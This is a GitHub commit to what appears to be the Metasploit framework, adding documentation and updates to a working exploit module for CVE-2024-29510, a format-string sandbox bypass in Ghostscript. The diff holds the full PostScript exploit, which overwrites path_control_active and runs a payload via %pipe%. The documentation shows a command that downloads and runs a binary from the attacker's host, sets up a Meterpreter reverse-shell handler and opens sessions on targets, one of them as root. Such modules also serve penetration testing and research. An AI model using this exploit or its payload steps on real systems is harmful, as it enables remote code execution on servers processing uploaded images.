Skip to content

Commit e9c511c

Browse files
Add documentation and some updates
1 parent 1abc42a commit e9c511c

File tree

3 files changed

+228
-18
lines changed

3 files changed

+228
-18
lines changed

data/exploits/CVE-2024-29510/ghostscript_format_string.eps

Lines changed: 22 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -6,11 +6,21 @@
66
%%BeginProlog
77
%%EndProlog
88

9+
% Make sure to restore the original `setpagedevice` from userdict or systemdict
10+
% in case it has been redefined in another postscript file.
11+
% This happens with ImageMagick for example.
12+
userdict begin
13+
systemdict /setpagedevice known
14+
{
15+
/setpagedevice systemdict /setpagedevice get def
16+
}
17+
if
18+
end
919

1020
% ====== Configuration ======
1121

1222
% Offset of `gp_file *out` on the stack
13-
/IdxOutPtr 5 def
23+
/IdxOutPtr MSF_IDXOUTPTR def
1424

1525

1626
% ====== General Postscript utility functions ======
@@ -39,8 +49,8 @@
3949
} def
4050

4151
% Printing helpers
42-
/println { print (\012) print } bind def
43-
/printnumln { =string cvs println } bind def
52+
% /println { print (\012) print } bind def
53+
% /printnumln { =string cvs println } bind def
4454

4555
% ====== Start of exploit helper code ======
4656

@@ -131,7 +141,7 @@
131141
% return as int
132142
cvi
133143
} {
134-
(Could not find our data on the stack.. exiting) println
144+
% (Could not find our data on the stack.. exiting) println
135145
quit
136146
} ifelse
137147
} bind def
@@ -216,15 +226,15 @@
216226
} bind def
217227

218228

219-
() println
229+
% () println
220230

221231
% ====== Start of exploit logic ======
222232

223233

224234
% Find out the index of the controllable bytes
225235
% This is around the 200-300 range but differs per binary/version
226236
/IdxStackControllable get_index_of_controllable_stack def
227-
(Found controllable stack region at index: ) print IdxStackControllable printnumln
237+
% (Found controllable stack region at index: ) print IdxStackControllable printnumln
228238

229239
% Exploit steps:
230240
% - `gp_file *out` is at stack index `IdxOutPtr`.
@@ -247,31 +257,31 @@
247257

248258
/PtrOut IdxOutPtr read_ptr_at def
249259

250-
(out: 0x) PtrOut cat println
260+
% (out: 0x) PtrOut cat println
251261

252262

253263
% memory is at offset 144 in out
254264
/PtrOutOffset 144 PtrOut ptr_add_offset def
255265
/PtrMem IdxStackControllable PtrOutOffset read_dereferenced_ptr_at def
256266

257-
(out->mem: 0x) PtrMem cat println
267+
% (out->mem: 0x) PtrMem cat println
258268

259269
% gs_lib_ctx is at offset 208 in memory
260270
/PtrMemOffset 208 PtrMem ptr_add_offset def
261271
/PtrGsLibCtx IdxStackControllable PtrMemOffset read_dereferenced_ptr_at def
262272

263-
(out->mem->gs_lib_ctx: 0x) PtrGsLibCtx cat println
273+
% (out->mem->gs_lib_ctx: 0x) PtrGsLibCtx cat println
264274

265275
% core is at offset 8 in gs_lib_ctx
266276
/PtrGsLibCtxOffset 8 PtrGsLibCtx ptr_add_offset def
267277
/PtrCore IdxStackControllable PtrGsLibCtxOffset read_dereferenced_ptr_at def
268278

269-
(out->mem->gs_lib_ctx->core: 0x) PtrCore cat println
279+
% (out->mem->gs_lib_ctx->core: 0x) PtrCore cat println
270280

271281
% path_control_active is at offset 156 in core
272282
/PtrPathControlActive 156 PtrCore ptr_add_offset def
273283

274-
(out->mem->gs_lib_ctx->core->path_control_active: 0x) PtrPathControlActive cat println
284+
% (out->mem->gs_lib_ctx->core->path_control_active: 0x) PtrPathControlActive cat println
275285

276286
% Subtract a bit from the address to make sure we write a null over the field
277287
/PtrTarget -3 PtrPathControlActive ptr_add_offset def
@@ -282,6 +292,6 @@ IdxStackControllable PtrTarget write_to
282292

283293
% And now `path_control_active` == 0, so we can use %pipe%
284294

285-
(%pipe%MSFPAYLOAD) (r) file
295+
(%pipe%MSF_PAYLOAD) (r) file
286296

287297
quit
Lines changed: 193 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,193 @@
1+
## Vulnerable Application
2+
3+
This module exploits a format string vulnerability in Ghostscript versions before 10.03.1 to achieve a SAFER sandbox bypass and execute arbitrary commands. This vulnerability is reachable via libraries such as ImageMagick, which is often used by web applications and other services to preview or convert documents.
4+
5+
This module will generate a Encapsulated PostScript (EPS) file that embeds the selected payload. This file can be consumed by any service using a vulnerable version of Ghostscript under the hood.
6+
7+
### Installation
8+
#### With standalone Ghostscript
9+
Download the source files from https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/ and build Ghostscript:
10+
```
11+
wget https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10030/ghostscript-10.03.0.tar.gz
12+
tar xzvf ghostscript-10.03.0.tar.gz
13+
cd ghostscript-10.03.0
14+
./configure
15+
make
16+
```
17+
Then, use the `bin/gs` directly.
18+
19+
#### With ImageMagick
20+
Follow the steps to build Ghostscript but run an additional `make install` to make sure the binaries are copied at the right location in the system.
21+
Download ImageMagick source files from https://github.com/ImageMagick/ImageMagick/archive/ and build it:
22+
```shell
23+
./configure --prefix=/usr --with-gslib --disable-dependency-tracking
24+
make
25+
make install
26+
ldconfig /usr/lib
27+
```
28+
Then, use `identify` or `convert` directly.
29+
30+
#### With a PHP application using ImageMagick on Docker
31+
Create the following `Dockerfile` (mostly taken from the vulhub projects [1](https://github.com/vulhub/vulhub/blob/1d932c52b9eb257de8c8a20ba7696a598157ef8f/base/imagemagick/7.1.1-17/Dockerfile) and [2](https://github.com/vulhub/vulhub/blob/master/ghostscript/CVE-2019-6116)):
32+
```dockerfile
33+
FROM debian:bullseye
34+
35+
RUN set -ex \
36+
&& apt-get update \
37+
&& apt-get install -y --no-install-recommends build-essential automake autoconf libtool libltdl-dev wget ca-certificates libpng-dev libjpeg62-turbo-dev \
38+
libfontconfig1-dev libfreetype6-dev librsvg2-dev libxml2-dev zlib1g-dev libgif-dev php-cli curl \
39+
&& apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false \
40+
&& rm -rf /var/lib/apt/lists/*
41+
42+
ARG GS_URL=https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10030/ghostscript-10.03.0.tar.gz
43+
RUN set -ex \
44+
&& wget -qO- ${GS_URL} | tar xz --strip-components=1 -C /usr/src \
45+
&& cd /usr/src \
46+
&& ./configure \
47+
&& make \
48+
&& make install \
49+
&& rm -rf /usr/src/*
50+
51+
ARG IM_VERSION=7.1.1-34
52+
RUN set -ex \
53+
&& wget -qO- https://github.com/ImageMagick/ImageMagick/archive/${IM_VERSION}.tar.gz \
54+
| tar xz --strip-components=1 -C /usr/src \
55+
&& cd /usr/src \
56+
&& ./configure --prefix=/usr --with-gslib --disable-dependency-tracking \
57+
&& make \
58+
&& make install \
59+
&& ldconfig /usr/lib \
60+
&& rm -rf /usr/src/*
61+
62+
RUN mkdir -p /var/www/html \
63+
&& echo "<?php \n \
64+
if (!empty(\$_FILES)): \n \
65+
\$ext = pathinfo(\$_FILES['file_upload']['name'], PATHINFO_EXTENSION); \n \
66+
\$size = shell_exec(\"identify -format '%w x %h' eps:{\$_FILES['file_upload']['tmp_name']}\"); \n \
67+
echo \"Image size is: \$size\"; \n \
68+
else: \n \
69+
?> \n \
70+
<form method=\"post\" enctype=\"multipart/form-data\"> \n \
71+
File: <input type=\"file\" name=\"file_upload\"> \n \
72+
<input type=\"submit\"> \n \
73+
</form> \n \
74+
<?php \n \
75+
endif;" > /var/www/html/index.php
76+
77+
CMD ["php", "-t","/var/www/html", "-S", "0.0.0.0:8080"]
78+
```
79+
80+
Build the docker image:
81+
```shell
82+
build -t php_magick_gs:10.03.0 .
83+
```
84+
85+
Run it:
86+
```shell
87+
docker run --rm -p8888:8080 php_magick_gs:10.03.0
88+
```
89+
Access the example web page at http://127.0.0.1:8888 and upload the generated `.eps` file.
90+
91+
## Verification Steps
92+
1. Install the application
93+
1. Start msfconsole
94+
1. Do: `use multi/fileformat/ghostscript_format_string_cve_2024_29510`
95+
1. Do: `exploit lhost=<local host address>`
96+
1. Start a handler for the seclected payload
97+
1. Have the generated Postscript processed by a vulnerable version of Ghostscript
98+
1. You should get a shell.
99+
100+
## Options
101+
102+
### FILENAME
103+
The name of the Encapsulated PostScript (EPS) file that will be generated by this module. Default is `msf.eps`.
104+
105+
### INDEX_OUT_PTR
106+
This module will exploit a format string vulnerability to update the boolean field (`path_control_active`) in memory and disable the `-dSAFER` security sandbox to enable code execution. This field is stored in a specific data structure which can be accessed from a pointer received by the function calling the vulnerable `gs_snprintf()` function. The exploit will dereference this pointer multiple times to reach this field.
107+
This option specify the index of this pointer (`gp_file *out`) on the stack. The default is `5`, which seems to work most of the time. Note that when Ghostscript is installed on a Docker instance, this index seems to be `6`. That being said, if the exploit doesn't work, try with different index value (usually `4`, `5` or `6`).
108+
109+
110+
## Scenarios
111+
112+
### Ghostscript version 10.03.0
113+
Generate the `.eps` files:
114+
```
115+
msf6 exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > exploit verbose=true lhost=192.168.1.113
116+
117+
[*] Command to run on remote host: curl -so ./kmMJykHyqUiQ http://192.168.1.113:8080/QAeBnT-6WHJiW5MJjwMrfA; chmod +x ./kmMJykHyqUiQ; ./kmMJykHyqUiQ &
118+
[+] msf.eps stored at /home/n00tmeg/.msf4/local/msf.eps
119+
[+] You will need to start a handler for the selected payload first.
120+
[+] Example usage with Ghostscript: gs -q -dSAFER -dBATCH -dNODISPLAY msf.eps
121+
[+] Example usage with ImageMagick: identify msf.eps
122+
```
123+
124+
Start a hander:
125+
```
126+
msf6 exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > use cmd/linux/http/x64/meterpreter_reverse_tcp
127+
msf6 payload(cmd/linux/http/x64/meterpreter_reverse_tcp) > set lhost 192.168.1.113
128+
lhost => 192.168.1.113
129+
msf6 payload(cmd/linux/http/x64/meterpreter_reverse_tcp) > to_handler
130+
[*] Payload Handler Started as Job 0
131+
```
132+
133+
Execute Ghostscript directly:
134+
```shell
135+
./gs -q -dSAFER -dBATCH -dNODISPLAY ~/.msf4/local/msf.eps
136+
```
137+
138+
Get a Meterpreter session:
139+
```
140+
msf6 exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > [*] Meterpreter session 6 opened (192.168.1.113:4444 -> 192.168.1.113:56786) at 2024-07-16 11:00:59 +0200
141+
142+
msf6 exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > sessions -1
143+
[*] Starting interaction with 6...
144+
145+
meterpreter > getuid
146+
Server username: n00tmeg
147+
meterpreter > sysinfo
148+
Computer : 192.168.1.113
149+
OS : Arch rolling (Linux 6.9.7-arch1-1)
150+
Architecture : x64
151+
BuildTuple : x86_64-linux-musl
152+
Meterpreter : x64/linux
153+
```
154+
155+
### ImageMagick version 7.1.1-34 on Docker
156+
```
157+
msf6 exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > exploit verbose=true lhost=192.168.1.113 index_out_ptr=6 filename=msf6.eps
158+
159+
[*] Command to run on remote host: curl -so ./GzRgKQokL http://192.168.1.113:8080/QAeBnT-6WHJiW5MJjwMrfA; chmod +x ./GzRgKQokL; ./GzRgKQokL &
160+
[+] msf6.eps stored at /home/n00tmeg/.msf4/local/msf6.eps
161+
[+] You will need to start a handler for the selected payload first.
162+
[+] Example usage with Ghostscript: gs -q -dSAFER -dBATCH -dNODISPLAY msf6.eps
163+
[+] Example usage with ImageMagick: identify msf6.eps
164+
```
165+
166+
Start a hander:
167+
```
168+
msf6 exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > use cmd/linux/http/x64/meterpreter_reverse_tcp
169+
msf6 payload(cmd/linux/http/x64/meterpreter_reverse_tcp) > set lhost 192.168.1.113
170+
lhost => 192.168.1.113
171+
msf6 payload(cmd/linux/http/x64/meterpreter_reverse_tcp) > to_handler
172+
[*] Payload Handler Started as Job 0
173+
```
174+
175+
Follow the `PHP application using ImageMagick on Docker` installation steps and upload the generated `.eps` file from http://127.0.0.1:8888.
176+
177+
Get a Meterpreter session:
178+
```
179+
msf6 exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > [*] Meterpreter session 3 opened (192.168.1.113:4444 -> 172.17.0.3:45102) at 2024-07-16 14:46:55 +0200
180+
181+
msf6 exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > sessions -1
182+
[*] Starting interaction with 3...
183+
184+
meterpreter > getuid
185+
Server username: root
186+
meterpreter > sysinfo
187+
Computer : 172.17.0.3
188+
OS : Debian 11.10 (Linux 6.9.7-arch1-1)
189+
Architecture : x64
190+
BuildTuple : x86_64-linux-musl
191+
Meterpreter : x64/linux
192+
```
193+

modules/exploits/multi/fileformat/ghostscript_format_string_cve_2024_29510.rb

Lines changed: 13 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,10 @@ def initialize(info = {})
1919
versions before 10.03.1 to achieve a SAFER sandbox bypass and execute
2020
arbitrary commands. This vulnerability is reachable via libraries such as
2121
ImageMagick.
22+
23+
This exploit only works against Ghostscript versions 10.03.0 and
24+
10.01.2. Some offsets adjustement will probably be needed to make it
25+
work with other versions.
2226
},
2327
'Author' => [
2428
'Thomas Rinsma', # Vuln discovery and PoC
@@ -63,23 +67,26 @@ def initialize(info = {})
6367
'DefaultTarget' => 0,
6468
'Notes' => {
6569
'Stability' => [CRASH_SAFE],
66-
'SideEffects' => [],
67-
'Reliability' => []
70+
'SideEffects' => [ARTIFACTS_ON_DISK],
71+
'Reliability' => [REPEATABLE_SESSION]
6872
}
6973
)
7074
)
7175

7276
register_options([
73-
OptString.new('FILENAME', [true, 'Output Encapsulated PostScript (EPS) file', 'msf.eps'])
77+
OptString.new('FILENAME', [true, 'Output Encapsulated PostScript (EPS) file', 'msf.eps']),
78+
OptInt.new('INDEX_OUT_PTR', [true, 'Index of `gp_file *out` on the stack (see the full documentation for details `info -d`)', 5])
7479
])
7580
end
7681

7782
def exploit
78-
xploit = template.sub('MSFPAYLOAD', payload.encoded)
83+
xploit = template.sub('MSF_PAYLOAD', payload.encoded)
84+
xploit = xploit.sub('MSF_IDXOUTPTR', datastore['INDEX_OUT_PTR'].to_s)
7985

8086
file_create(xploit)
8187
print_good('You will need to start a handler for the selected payload first.')
82-
print_good("Example usage: gs -q -dSAFER -dBATCH -dNODISPLAY #{datastore['FILENAME']}")
88+
print_good("Example usage with Ghostscript: gs -q -dSAFER -dBATCH -dNODISPLAY #{datastore['FILENAME']}")
89+
print_good("Example usage with ImageMagick: identify #{datastore['FILENAME']}")
8390
end
8491

8592
def template
@@ -88,7 +95,7 @@ def template
8895
))
8996

9097
# Remove comments
91-
xploit.gsub!(/^\s*% .*/, '')
98+
xploit.gsub!(/\s*% .+$/, '')
9299

93100
# Remove empty lines and lines with a single %
94101
xploit.gsub(/^%?$\n/, '')

0 commit comments

Comments
 (0)